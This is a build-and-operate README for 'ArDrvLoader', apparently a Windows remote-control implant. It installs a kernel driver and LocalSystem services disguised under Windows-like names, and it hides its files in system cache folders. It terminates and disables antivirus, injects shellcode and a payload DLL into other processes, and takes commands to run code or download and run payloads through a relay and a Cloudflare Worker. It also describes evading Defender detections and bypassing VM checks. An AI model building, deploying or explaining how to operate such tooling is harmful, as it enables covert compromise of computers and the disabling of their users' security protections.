ArDrvLoader - build, use, test
Single Windows client binary that installs a LocalSystem service stack, a kernel driver, and a cloud command channel, plus a relay server and a Cloudflare Worker that sit in front of it.
client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel
The Worker stores nothing; the relay owns all state. A client can also talk to the relay directly (no Worker) when you want to save Cloudflare requests.
- detailed internals:
SERVICES.md - this file: how to build, run and test
1. Requirements
| Piece | Need |
|---|---|
| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild |
| Relay | Node.js 22+ (uses node:sqlite, no npm dependencies) |
| Worker (optional) | npm i -g wrangler and a Cloudflare account |
| Test target | Windows 10/11 x64, admin rights for service install |
Repository layout:
cpp_end/
*.cpp *.h client sources
ArDrvLoader.vcxproj client project
StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe)
driver_res.rc stage_res.rc resource.h embedded driver + payload
build.ps1 build driver → payload → exe, produces dist\<cfg>
server/ relay server, sqlite, panel.html
cloudflare/ Worker proxy, mock worker
agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK
test-cloud.ps1 end-to-end test against the mock worker
SERVICES.md deep documentation
Place ardrv.sys in cpp_end\ before building if you want the driver embedded.
Place nothing there for a driver-less build.
2. Build
cd cpp_end
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release
Output:
dist\Release\ArDrvLoader.exe <- single file, this is what ships
x64\Release\ArDrvLoader.exe <- build output with .pdb symbols
Variants:
| Command | Result |
|---|---|
build.ps1 -Configuration Release |
335 KB, driver + stage DLL embedded, silent (no console), no logs |
build.ps1 -Configuration Debug |
2.5 MB, console window, writes C:\Users\Public\ardrv_loader.log |
build.ps1 -Configuration Release -NoEmbed |
274 KB, no embedded resources; ship ardrv.sys and ardrvstage.dll separately |
build.ps1 -NoEmbed also accepts -SkipPayload |
skips rebuilding the stage DLL entirely |
Raw MSBuild, if you prefer:
MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m
Release is linked as a Windows subsystem binary (wmainCRTStartup), so
double-clicking it shows no console. Debug stays a console app.
Build hardening already applied to Release: /Brepro (no Rich header, no
timestamps) and /PDBALTPATH:%_PDB% (no absolute build paths). This removed a
Trojan:Win32/Wacatac.B!ml false positive from Defender.
Build-time defaults
The exe can run with no arguments at all. These macros live in
ArDrvLoader.vcxproj → PreprocessorDefinitions:
| Macro | Meaning | Default |
|---|---|---|
ARDRV_DEFAULT_URL |
relay or Worker address | http://127.0.0.1:8789 |
ARDRV_DEFAULT_OPERATOR_KEY |
operator key for the API | testop |
ARDRV_DEFAULT_SECRET |
agent key | testsecret |
ARDRV_DEFAULT_AGENT |
agent id, empty = computer name | empty |
ARDRV_ALLOW_VM_DEFAULT |
1 bypasses the VM gate (lab images) |
1 |
Set ARDRV_ALLOW_VM_DEFAULT=0 and real URLs before shipping.
3. Run the relay server
cd cpp_end/server
set PORT=8790
set AGENT_SECRET=testsecret
set OPERATOR_KEY=testop
set ENROLL_SECRET=testenroll
set LEGACY_MASTER_AUTH=false
set PROXY_SECRET=proxys3cret
node server.js
| Env | Default | Purpose |
|---|---|---|
PORT |
8790 | listen port |
DATA_DIR |
./data |
sqlite file + files/ payloads |
PANEL_PATH |
server/panel.html |
UI to serve at /panel |
AGENT_SECRET |
- | master key; per-agent keys are derived from it |
OPERATOR_KEY |
- | panel / operator API key |
ENROLL_SECRET |
operator key | enrollment token |
LEGACY_MASTER_AUTH |
false |
accept the shared master key during migration |
PROXY_SECRET |
- | if set, requests must carry X-Proxy-Secret |
RETAIN_COMMAND_DAYS |
7 | command retention |
RETAIN_EVENT_DAYS |
30 | event retention |
RETAIN_MAX_COMMANDS |
50000 | hard cap |
The server creates its schema on start, opens SQLite in WAL mode, and reaps
commands stuck in sent for over 180 s.
Panel: http://<host>:8790/panel?key=testop
4. Run the Worker proxy (optional)
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local
.dev.vars:
SERVER_URL=http://127.0.0.1:8790
PROXY_SECRET=proxys3cret
Production: set SERVER_URL as a Worker var and PROXY_SECRET as a secret, then
wrangler deploy. wrangler.toml has no D1 or KV bindings - the Worker is a pure
forwarder.
5. Install the client
One double-click
dist\Release\ArDrvLoader.exe with no arguments uses the build-time defaults:
- one UAC prompt
- installs driver + three services + cloud agent service
- waits for the agent to register (id = computer name)
- queues
KILLAVthrough the relay so the run appears in the panel
With explicit arguments
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
[--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]
Services only, no bootstrap
ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC
Options: --prefix <Name>, --install-dir <path>, --keep-location,
--no-start, --allow-vm, --cloud-url, --cloud-secret, --cloud-agent,
--cloud-service.
What gets installed
| Service | Role |
|---|---|
DeviceSetupHost |
extracts the driver to System32\drivers, creates/starts kernel service ArDrv, verifies \\.\ArDrv |
ProgramCompatHost |
keeps the target program alive, keeps the stage payload injected, keeps peers alive |
ServiceStateHost |
re-enables a disabled target service and starts it |
CloudTest / CloudSyncHost |
the cloud agent |
All run as LocalSystem, auto-start, restart on failure, and watch each other.
Files live under a machine-tagged directory:
%ProgramData%\Microsoft\Windows\Caches\<8hex>\ (or %LOCALAPPDATA%\...\INetCache\<8hex>\
for a non-elevated agent).
Configuration - HKLM\SOFTWARE\ArDrvLoader
The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop, so changes apply without reinstalling.
| Value | Type | Default | Meaning |
|---|---|---|---|
TargetPath |
REG_SZ | - | program to keep alive |
TargetArgs |
REG_SZ | - | its arguments |
TargetService |
REG_SZ | - | service to keep alive instead |
DriverImage |
REG_SZ | ...\drivers\ardrv.sys |
driver path |
DriverService |
REG_SZ | ArDrv |
kernel service name |
DriverDevice |
REG_SZ | \\.\ArDrv |
device to verify |
CheckIntervalMs |
REG_DWORD | 5000 | loop interval |
DesiredStartType |
REG_DWORD | 2 | 2 auto, 3 demand |
DriverFailCount |
REG_DWORD | 0 | consecutive driver failures |
DriverFailMax |
REG_DWORD | 3 | budget before giving up |
DriverState |
REG_SZ | - | ok / failed / disabled-after-failures |
KillAvOnStart |
REG_DWORD | 0 | AV sweep on each guard start |
AllowVm |
REG_DWORD | 0 | run inside a VM |
ExclusionPaths |
REG_SZ | - | ` |
6. Cloud agent
ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...
Config is also read from env (CA_URL, CA_SECRET, ...) or
HKLM\Software\CloudAgent.
Per-agent keys
ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>
Writes <root>\agent-box1.key; the agent uses it when --secret and CA_SECRET
are absent. Revoke from the panel (revoke) or
POST /api/revoke {"agent":"box1","revoked":true}. Re-enrolling clears it.
7. Panel
http://<host>:8790/panel?key=<operator-key>
- Console - per-agent composer (Enter sends, Shift+Enter newline), quick chips,
history with
copy result/run again - All commands - global table, defaults to executed commands, sortable by
time / agent / command / state / operator / result / duration
runchip re-enqueues that command for the same agent+or the result cell expands the output- clicking the row loads the command into that agent's console
- Palette -
all commands (47)opens every command grouped by category, with search; chips with<args>load into the composer, others send immediately - agent header shows host, user, SID, version, interval, and
revoke/restore - offline agents render grey (
online=falseafter 3 intervals, min 45 s) - broadcast sends one command to every online agent
- auto-refresh every 3 s,
/focuses the agent filter,lockforgets the key
8. Commands
PING STATUS HELP
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
PS <powershell> PS_USER <powershell>
RUNFILE <path> [args] RUNFILE_USER RUNFILE_SYSTEM
OPENFILE <path> [args] OPENFILE_USER
DOWNLOAD <url> <out> [sha256] DEPLOY <url> [args] DEPLOY_SYSTEM <url> [args]
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
KILLAV KILLAV_DRYRUN
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
SERVICE_STATUS <name> START_SERVICE <name> [path]
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
STOP
KILLAV and STOP are real actions; everything else is diagnostic or scoped.
9. Test
9.1 Automated cloud test (mock worker, no Node needed in the path)
cd cpp_end
powershell -ExecutionPolicy Bypass -File test-cloud.ps1
It starts cloudflare/mock-worker.ps1, starts an agent against it and checks:
PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected
and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST,
DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.
Useful switches: -Port 8795 -AgentId clitest1.
9.2 Manual command against the live relay
\.\agent-cli.ps1 -Command "STATUS"
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
agent.cmd STATUS # wrapper for hosts with a restrictive execution policy
9.3 Single-exe client test
- Copy
dist\Release\ArDrvLoader.exeinto an empty folder - Double-click it (Release is silent; use Debug to watch)
- Expect UAC → agent appears in the panel →
KILLAVrow completes
Verify from a shell:
sc query DeviceSetupHost
sc query ArDrv
dir C:\Windows\System32\drivers\ardrv.sys
HKLM\SOFTWARE\ArDrvLoader
9.4 Driver checks
ArDrvLoader.exe -drv status # device=ok embedded=<bytes> fail=N/max state=...
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
ArDrvLoader.exe -drv reset
9.5 Kill-safety checks
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed
ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected
ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver)
9.6 AV scan
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
"C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation
Current build scans clean on engine 1.461.217.0.
9.7 Uninstall / reset
Elevated, in order:
sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc stop ArDrv
sc delete ArDrv
del C:\Windows\System32\drivers\ardrv.sys
reg delete HKLM\SOFTWARE\ArDrvLoader /f
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>
Then clear relay state if you want a clean panel:
node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"
A staged payload that was injected into a live host can keep
ardrvstage.dll locked until reboot; queue it with
PendingFileRenameOperations or restart.
10. Troubleshooting
| Symptom | Cause / fix |
|---|---|
| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer |
| UAC appears, nothing installed | --elevated present but bootstrap not selected; check you are on a build after commit 9db2870 |
| silent exit, no services | VM gate blocked it - set ARDRV_ALLOW_VM_DEFAULT=1 or --allow-vm |
| agent never appears | relay/worker down, wrong URL, or PROXY_SECRET mismatch (relay returns 403) |
| agent shows offline while running | poll interval mismatch; check X-Agent-Interval header handling and the 3-interval threshold |
| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists |
| driver role stops retrying | DriverFailMax reached - DRIVER_RESET or -drv reset |
| command runs twice | reaper requeued a slow command; agents dedupe by id and ack OK (dup, not re-executed) |
| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing |
| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary |
11. Known limitations
- The client is unsigned; code signing is the durable fix for SmartScreen and behavioural AV verdicts.
- Driver capabilities beyond terminate (
PPLstrip, kernel registry writes, device ACL) need driver source, which is not part of this repository. KILLAVis real: on a test box it disables Defender until it recovers.- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps you around 17 agents.
- The "services go quiet, payload takes over" handoff is half-built: the guard keeps the stage payload alive, but the payload only runs commands.